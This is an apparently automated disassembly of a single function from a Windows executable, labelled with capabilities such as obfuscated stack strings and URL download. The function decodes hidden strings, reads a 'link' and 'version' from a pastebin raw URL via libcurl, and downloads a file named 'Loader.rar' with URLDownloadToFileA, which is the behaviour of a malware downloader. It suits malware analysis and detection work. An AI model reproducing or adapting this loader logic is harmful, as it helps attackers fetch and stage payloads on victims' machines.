Function at 0x1400081d0
Capabilities:
Contain obfuscated stackstrings
Create directory
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x14007f180]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor esi, esi
mov r12d, esi
mov dword [rsp + 0x70], esi
mov dword [rsp + 0x67], 0x19001954
mov cl, 0x19
mov dword [rsp + 0x63], 0x7c6f705f
mov dword [rsp + 0x5f], 0x7c72785f
mov dword [rsp + 0x5b], 0x45786d78
mov dword [rsp + 0x57], 0x5d74786b
mov dword [rsp + 0x53], 0x7e766b49
mov word [rsp + 0x51], 0x4523
mov byte [rsp + 0x50], 0x5a
lea rax, [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], cl
inc rax
lea rcx, [rsp + 0x69]
cmp rax, rcx
je 0x140008276
movzx ecx, byte [rsp + 0x6a]
jmp 0x140008260
mov byte [rsp + 0x69], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d8], xmm1
lea rax, [rsp + 0x50]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], sil
jne 0x1400082a0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c8]
call fcn.14000e3f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], rsi
mov r8d, 3
lea rdx, [0x140069cc4]
lea rcx, [rbp + 0xf0]
call fcn.14000e3f0
nop
lea rcx, [rbp + 0x1c8]
cmp qword [rbp + 0x1e0], 0xf
cmova rcx, qword [rbp + 0x1c8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140008316
call qword [sym.imp.KERNEL32.dll_GetLastError]
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
mov r8d, 0x21
lea rdx, str.https:__pastebin.com_raw_akc32Qtv
lea rcx, [rbp + 0x188]
call fcn.14000e3f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rsi
mov r13d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x128], r13
mov byte [rbp + 0x110], 0
movups xmmword [rbp + 0x1a8], xmm0
movdqa xmm1, xmmword [0x14006a970]
movdqu xmmword [rbp + 0x1b8], xmm1
mov byte [rbp + 0x1a8], 0
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov r14, rax
mov r15, qword [rbp + 0xf0]
test rax, rax
je 0x140009032
lea r8, [rbp + 0x188]
cmp qword [rbp + 0x1a0], r13
cmova r8, qword [rbp + 0x188]
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140005730]
mov edx, 0x4e2b
mov rcx, r14
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], r13
mov byte [rbp + 0xb0], 0
lea r8, [rbp + 0xb0]
mov edx, 0x2711
mov rcx, r14
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, r14
call qword [sym.imp.libcurl.dll_curl_easy_perform]
test eax, eax
je 0x140008459
mov ecx, eax
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov rbx, rax
lea rdx, str.Failed_to_download:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000d8f0
mov rcx, rax
mov rdx, rbx
call fcn.14000d8f0
mov rcx, rax
lea rdx, [0x14000dac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140008576
lea rsi, [rbp + 0xb0]
mov r13, qword [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rsi, r13
mov r15, qword [rbp + 0xc0]
test r15, r15
je 0x14000849c
mov r8, r15
mov edx, 0xa
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000849c
sub rbx, rsi
jmp 0x14000849f
mov rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x14000856d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8, rbx
cmp r15, rbx
cmovb r8, r15
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, r13
lea rcx, [rsp + 0x30]
call fcn.14000e3f0
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x120], xmm1
inc rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov rax, qword [rbp + 0xc0]
cmp rax, rbx
jb 0x140009324
sub rax, rbx
cmp rax, 0xffffffffffffffff
cmovb rdi, rax
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
add rdx, rbx
mov r8, rdi
lea rcx, [rsp + 0x30]
call fcn.14000e3f0
mov r12d, ntohs
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp + 0x1a8], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x1b8], xmm1
xor esi, esi
mov r15, qword [rbp + 0xf0]
mov rcx, r14
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
nop
mov byte [rbp + 0x30], 0
mov qword [rbp + 0x38], rsi
lea rax, [rbp + 0x40]
mov qword [rsp + 0x70], rax
mov byte [rbp + 0x40], 0
xor eax, eax
mov qword [rbp + 0x48], rax
xor edx, edx
lea rcx, [rbp + 0x48]
call fcn.14000c400
mov byte [rbp + 0x40], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov ecx, 0x20
call fcn.14005c420
mov rbx, rax
lea rax, [rbp + 0x28]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rbx
lea rdx, [rbp + 0x110]
mov rcx, rbx
call fcn.14000b470
nop
mov qword [rbp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov r8d, 4
lea rdx, str.link
lea rcx, [rsp + 0x30]
call fcn.14000e3f0
lea rax, [rsp + 0x30]
mov qword [rbp + 0x90], rax
movzx ecx, byte [rbp + 0x30]
test cl, cl
jne 0x140008637
mov byte [rbp + 0x30], 1
call fcn.14000f210
mov qword [rbp + 0x38], rax
movzx ecx, byte [rbp + 0x30]
jmp 0x14000863b
mov rax, qword [rbp + 0x38]
cmp cl, 1
jne 0x1400092d4
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.1400106a0
mov rbx, qword [rbp + 0x60]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140008699
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008694
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008694
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
movzx ecx, byte [rbx + 0x40]
movzx eax, byte [rbp + 0x40]
mov byte [rbx + 0x40], al
mov byte [rbp + 0x40], cl
mov rax, qword [rbx + 0x48]
mov rcx, qword [rbp + 0x48]
mov qword [rbx + 0x48], rcx
mov qword [rbp + 0x48], rax
movzx edx, byte [rbp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.14000c400
nop
lea rax, [rbp + 0x40]
mov qword [rbp + 0x90], rax
mov byte [rbp + 0x40], 0
xor eax, eax
mov qword [rbp + 0x48], rax
xor edx, edx
lea rcx, [rbp + 0x48]
call fcn.14000c400
mov byte [rbp + 0x40], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov ecx, 0x20
call fcn.14005c420
mov rbx, rax
lea rax, [rbp + 0x28]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rbx
lea rdx, [rbp + 0x1a8]
mov rcx, rbx
call fcn.14000b470
nop
mov qword [rbp + 0x48], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov r8d, 7
lea rdx, str.version
lea rcx, [rsp + 0x30]
call fcn.14000e3f0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
movzx ecx, byte [rbp + 0x30]
test cl, cl
jne 0x14000877e
mov byte [rbp + 0x30], 1
call fcn.14000f210
mov qword [rbp + 0x38], rax
movzx ecx, byte [rbp + 0x30]
jmp 0x140008782
mov rax, qword [rbp + 0x38]
cmp cl, 1
jne 0x1400093c8
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.1400106a0
mov rbx, qword [rbp + 0x60]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400087e0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400087db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400087db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
movzx ecx, byte [rbx + 0x40]
movzx eax, byte [rbp + 0x40]
mov byte [rbx + 0x40], al
mov byte [rbp + 0x40], cl
mov rax, qword [rbx + 0x48]
mov rcx, qword [rbp + 0x48]
mov qword [rbx + 0x48], rcx
mov qword [rbp + 0x48], rax
movzx edx, byte [rbp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.14000c400
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1f0]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x14006a9e0]
movdqa xmm1, xmmword [0x14006a9d0]
mov dword [rbp + 0x180], 0xb270b515
mov word [rbp + 0x184], 0xbde3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov qword [rbp + 0x60], rcx
mov edx, 0x1b4
mov eax, dword [rdx + rcx]
mov ebx, 0x1c8
add rbx, rcx
test al, 1
jne 0x1400088e5
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x26], 1
lea rax, [rbx + 0x25]
lea rcx, [rbp + 0x185]
cmp rbx, rcx
ja 0x1400088bd
lea rcx, [rbp + 0x160]
cmp rax, rcx
jb 0x1400088bd
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0x180]
mov dword [rbx + 0x20], eax
movzx eax, word [rbp + 0x184]
mov word [rbx + 0x24], ax
jmp 0x1400088d8
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov eax, dword [rbp + 0x180]
mov dword [rbx + 0x20], eax
movzx eax, word [rbp + 0x184]
mov word [rbx + 0x24], ax
lea rcx, [0x140060680]
call fcn.14005c778
nop
cmp byte [rbx + 0x26], 0
je 0x14000898a
xor byte [rbx], 0x3b
xor byte [rbx + 1], 0xdf
xor byte [rbx + 2], 3
xor byte [rbx + 3], 0xdd
xor byte [rbx + 4], 0x8d
xor byte [rbx + 5], 0xbd
xor byte [rbx + 6], 0xc3
xor byte [rbx + 7], 0x77
xor byte [rbx + 8], 0x3b
xor byte [rbx + 9], 0xdf
xor byte [rbx + 0xa], 3
xor byte [rbx + 0xb], 0xdd
xor byte [rbx + 0xc], 0x8d
xor byte [rbx + 0xd], 0xbd
xor byte [rbx + 0xe], 0xc3
xor byte [rbx + 0xf], 0x77
xor byte [rbx + 0x10], 0x3b
xor byte [rbx + 0x11], 0xdf
xor byte [rbx + 0x12], 3
xor byte [rbx + 0x13], 0xdd
xor byte [rbx + 0x14], 0x8d
xor byte [rbx + 0x15], 0xbd
xor byte [rbx + 0x16], 0xc3
xor byte [rbx + 0x17], 0x77
xor byte [rbx + 0x18], 0x3b
xor byte [rbx + 0x19], 0xdf
xor byte [rbx + 0x1a], 3
xor byte [rbx + 0x1b], 0xdd
xor byte [rbx + 0x1c], 0x8d
xor byte [rbx + 0x1d], 0xbd
xor byte [rbx + 0x1e], 0xc3
xor byte [rbx + 0x1f], 0x77
xor byte [rbx + 0x20], 0x3b
xor byte [rbx + 0x21], 0xdf
xor byte [rbx + 0x22], 3
xor byte [rbx + 0x23], 0xdd
xor byte [rbx + 0x24], 0x8d
xor byte [rbx + 0x25], 0xbd
mov byte [rbx + 0x26], 0
mov rdx, rbx
lea rcx, [rbp + 0x1f0]
call fcn.14000b100
nop
mov edx, 4
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rcx, qword [rbp + 0x1f0]
movsxd r8, dword [rcx + 4]
lea rcx, [rbp + 0x1f0]
add rcx, r8
mov rdx, qword [rax + 8]
call qword [rax]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x1f0]
call fcn.14000a0e0
mov rcx, rax
lea rdx, [0x14000dac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1f8]
call fcn.14000ca40
test rax, rax
jne 0x140008a17
mov rax, qword [rbp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov r8d, 7
lea rdx, str.version
lea rcx, [rsp + 0x30]
call fcn.14000e3f0
lea rax, [rsp + 0x30]
mov qword [rbp + 0x90], rax
movzx ecx, byte [rbp + 0x30]
test cl, cl
jne 0x140008a67
mov byte [rbp + 0x30], 1
call fcn.14000f210
mov qword [rbp + 0x38], rax
movzx ecx, byte [rbp + 0x30]
jmp 0x140008a6b
mov rax, qword [rbp + 0x38]
cmp cl, 1
jne 0x14000937e
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.1400106a0
mov rbx, qword [rbp + 0x40]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140008ac9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ac4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov r8, rsi
mov qword [rbp + 0xe0], rsi
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xe8], rsi
mov byte [rbp + 0xd0], 0
or r12d, 2
mov dword [rsp + 0x70], r12d
cmp byte [rbx + 0x40], 3
jne 0x14000932a
mov rax, qword [rbx + 0x48]
lea rcx, [rbp + 0xd0]
cmp rcx, rax
je 0x140008b77
mov r9, rax
cmp qword [rax + 0x18], rsi
jbe 0x140008b32
mov r9, qword [rax]
mov rbx, qword [rax + 0x10]
lea rcx, [rbp + 0xd0]
cmp rbx, rsi
ja 0x140008b5e
mov qword [rbp + 0xe0], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx + 0xd0], 0
jmp 0x140008b69
xor r8d, r8d
mov rdx, rbx
call fcn.14000eb60
mov r8, qword [rbp + 0xe0]
mov rsi, qword [rbp + 0xe8]
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rdx, r15
lea rcx, [rbp + 0xd0]
mov r15, qword [rbp + 0xd0]
cmp rsi, 0xf
cmova rcx, r15
cmp r8, qword [rbp + 0x100]
jne 0x140008bb6
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140009372
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor edx, edx
mov qword [rbp + 0x50], rdx
mov qword [rbp + 0x58], rdx
lea r12, [rbp + 0x110]
mov r14, qword [rbp + 0x110]
mov r13, qword [rbp + 0x128]
cmp r13, 0xf
cmova r12, r14
movabs rbx, 0x7fffffffffffffff
mov rdi, qword [rbp + 0x120]
cmp rdi, rbx
ja 0x140009378
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
cmp rdi, 0xf
ja 0x140008c1e
mov qword [rbp + 0x50], rdi
movups xmm0, xmmword [r12]
movups xmmword [rbp + 0x40], xmm0
jmp 0x140008cb0
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140008c5a
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14005c420
mov rcx, rax
test rax, rax
je 0x140008f39
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008c94
mov rbx, rax
mov ecx, reloc.WS2_32.dll_shutdown
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140008c85
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000931e
jmp 0x140008c38
test rcx, rcx
je 0x140008c91
call fcn.14005c420
jmp 0x140008c94
mov rax, rdx
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], rbx
lea r8, [rdi + 1]
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
mov r8d, 0xa
lea rdx, str.Loader.rar
lea rcx, [rbp + 0x90]
call fcn.14000e3f0
nop
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
lea r8, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova r8, qword [rbp + 0x90]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x14006aa80]
movdqa xmm1, xmmword [0x14006ac00]
mov dword [rbp + 0x150], 0xb1a33023
mov dword [rbp + 0x154], 0x8548c7e6
mov word [rbp + 0x158], 0x4b2d
mov ecx, 0x300
mov rdi, qword [rbp + 0x60]
mov eax, dword [rcx + rdi]
mov ebx, 0x208
test al, 1
jne 0x140008dd9
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x2b], 1
lea rax, [rcx + 0x2a]
lea rdx, [rbp + 0x15a]
cmp rcx, rdx
ja 0x140008da9
lea rdx, [rbp + 0x130]
cmp rax, rdx
jb 0x140008da9
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x150]
movsd qword [rcx + 0x20], xmm0
movzx eax, word [rbp + 0x158]
mov word [rcx + 0x28], ax
mov byte [rcx + 0x2a], 0xd3
jmp 0x140008dcc
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x150]
movsd qword [rcx + 0x20], xmm0
movzx eax, word [rbp + 0x158]
mov word [rcx + 0x28], ax
mov byte [rcx + 0x2a], 0xd3
lea rcx, [0x140060650]
call fcn.14005c778
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x2b], 0
je 0x140008e96
xor byte [rdx], 3
xor byte [rdx + 1], 0x65
xor byte [rdx + 2], 0xd3
xor byte [rdx + 3], 0xd5
xor byte [rdx + 4], 0x87
xor byte [rdx + 5], 0xb3
xor byte [rdx + 6], 0x2d
xor byte [rdx + 7], 0xab
xor byte [rdx + 8], 3
xor byte [rdx + 9], 0x65
xor byte [rdx + 0xa], 0xd3
xor byte [rdx + 0xb], 0xd5
xor byte [rdx + 0xc], 0x87
xor byte [rdx + 0xd], 0xb3
xor byte [rdx + 0xe], 0x2d
xor byte [rdx + 0xf], 0xab
xor byte [rdx + 0x10], 3
xor byte [rdx + 0x11], 0x65
xor byte [rdx + 0x12], 0xd3
xor byte [rdx + 0x13], 0xd5
xor byte [rdx + 0x14], 0x87
xor byte [rdx + 0x15], 0xb3
xor byte [rdx + 0x16], 0x2d
xor byte [rdx + 0x17], 0xab
xor byte [rdx + 0x18], 3
xor byte [rdx + 0x19], 0x65
xor byte [rdx + 0x1a], 0xd3
xor byte [rdx + 0x1b], 0xd5
xor byte [rdx + 0x1c], 0x87
xor byte [rdx + 0x1d], 0xb3
xor byte [rdx + 0x1e], 0x2d
xor byte [rdx + 0x1f], 0xab
xor byte [rdx + 0x20], 3
xor byte [rdx + 0x21], 0x65
xor byte [rdx + 0x22], 0xd3
xor byte [rdx + 0x23], 0xd5
xor byte [rdx + 0x24], 0x87
xor byte [rdx + 0x25], 0xb3
xor byte [rdx + 0x26], 0x2d
xor byte [rdx + 0x27], 0xab
xor byte [rdx + 0x28], 3
xor byte [rdx + 0x29], 0x65
xor byte [rdx + 0x2a], 0xd3
mov byte [rdx + 0x2b], 0
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140008ef0
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008eeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
movdqa xmm0, xmmword [0x14006a970]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140008f46
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
nop
cmp rsi, 0xf
jbe 0x140008f81
lea rdx, [rsi + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140008f78
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14005c69c
nop
lea rcx, [rbp + 0x1f0]
call fcn.140004ad0
nop
movzx edx, byte [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.14000c400
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140008fe0
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fdb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008fdb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
mov r15, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x140009188
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009182
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009182
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movdqa xmm0, xmmword [0x14006ab30]
mov dword [rbp + 0x80], 0x6e4918bb
mov dword [rbp + 0x84], 0x9d76a695
mov word [rbp + 0x88], 0x5f9b
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x334
mov eax, dword [rcx + rdi]
mov ebx, 0x170
test al, 1
jne 0x1400090e8
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1b], 1
lea rax, [rcx + 0x1a]
lea rdx, [rbp + 0x8a]
cmp rcx, rdx
ja 0x1400090bc
lea rdx, [rbp + 0x70]
cmp rax, rdx
jb 0x1400090bc
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x80]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 0x88]
mov word [rcx + 0x18], ax
mov byte [rcx + 0x1a], 0x33
jmp 0x1400090db
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x80]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 0x88]
mov word [rcx + 0x18], ax
mov byte [rcx + 0x1a], 0x33
lea rcx, [0x140060620]
call fcn.14005c778
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1b], 0
je 0x140009161
xor byte [rdx], 0xd7
xor byte [rdx + 1], 0x71
xor byte [rdx + 2], 0x33
xor byte [rdx + 3], 0xb
xor byte [rdx + 4], 0xb5
xor byte [rdx + 5], 0xe5
xor byte [rdx + 6], 0x23
xor byte [rdx + 7], 0xcf
xor byte [rdx + 8], 0xd7
xor byte [rdx + 9], 0x71
xor byte [rdx + 0xa], 0x33
xor byte [rdx + 0xb], 0xb
xor byte [rdx + 0xc], 0xb5
xor byte [rdx + 0xd], 0xe5
xor byte [rdx + 0xe], 0x23
xor byte [rdx + 0xf], 0xcf
xor byte [rdx + 0x10], 0xd7
xor byte [rdx + 0x11], 0x71
xor byte [rdx + 0x12], 0x33
xor byte [rdx + 0x13], 0xb
xor byte [rdx + 0x14], 0xb5
xor byte [rdx + 0x15], 0xe5
xor byte [rdx + 0x16], 0x23
xor byte [rdx + 0x17], 0xcf
xor byte [rdx + 0x18], 0xd7
xor byte [rdx + 0x19], 0x71
xor byte [rdx + 0x1a], 0x33
mov byte [rdx + 0x1b], 0
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14, qword [rbp + 0x110]
jmp 0x140008fe7
call fcn.14005c69c
nop
cmp r13, 0xf
jbe 0x1400091c3
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400091ba
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400091ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14005c69c
nop
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x140009207
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009202
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009202
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005c69c
movdqa xmm0, xmmword [0x14006a970]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
mov rax, qword [rbp + 0x108]
cmp rax, 0xf
jbe 0x140009260
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140009257
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009257
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14005c69c
nop
mov rdx, qword [rbp + 0x1e0]
